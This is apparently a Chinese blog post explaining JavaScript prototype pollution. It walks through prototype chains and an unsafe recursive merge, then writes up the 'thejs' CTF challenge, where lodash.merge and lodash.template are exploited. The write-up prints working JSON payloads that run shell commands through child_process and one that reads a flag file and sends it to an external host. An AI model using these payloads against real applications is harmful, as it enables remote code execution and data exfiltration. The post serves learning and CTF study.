JavaScript原型链污染攻击

在这里插入图片描述

前言

最近在看js的时候看到p神的一篇关于js原型链污染的文章,学习一下。

下面转自p神:深入理解 JavaScript Prototype 污染攻击

还有一篇案例关于js原型链污染的ctf题:从一道 CTF 题看 Node.js 的 prototype pollution attack

js特点

在理解攻击方法之前先了解一下js的面向对象编程的特点。
由于js非常面向对象的编程特性,js有很多神奇的操作。
js
在js中你可以用各种方式操作自己的对象。

prototype和__proto__用法

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() {
    this.bar = 1
}

new Foo()

1
Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

2
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function…就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()

4我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。
3

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype

image.png
这里类Foo在实例化时,便可调用prototype中的方法
所以,总结一下:

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象(foo)的__proto__属性,指向这个对象所在的类(Foo)的prototype属性

JavaScript原型链继承

在这里插入图片描述所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

5
Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump。

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

在对象son中寻找last_name
如果找不到,则在son.__proto__中寻找last_name
如果仍然找不到,则继续在son.proto.__proto__中寻找last_name
依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
image.png

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制

原型链污染是什么

第一章中说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:

image.png

原因也显而易见:因为前面我们修改了foo的原型foo.proto.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

对象merge
对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

image.png

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto”: {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

image.png

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

案例分析

下面是P神出的Code-Breaking 2018一道原型链污染的CTF题目thejs,没环境没法复现,我总结下思路。
后端代码server.js:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16), //随机数
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 模板引擎
    fs.readFile(filePath, (err, content) => {         //读文件 filepath
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)             //模板化
        let rendered = compiled({...options})                //动态引入变量

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

lodash.template 一个简单的模板引擎
lodash.merge 函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。我们看到lodash.template的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有__proto__的Payload以json的形式发送给后端,因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

payload:

{"__proto__": {"sourceURL": "\u000areturn e => {for (var a in {}) {delete Object.prototype{a}; } return global.process.mainModule.constructor.load('child_process').execSync('id') }\u000a/"}}

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉。

flag:

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http:/vps.com/${result}`);req.end();\r\n"}}
  • 14
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值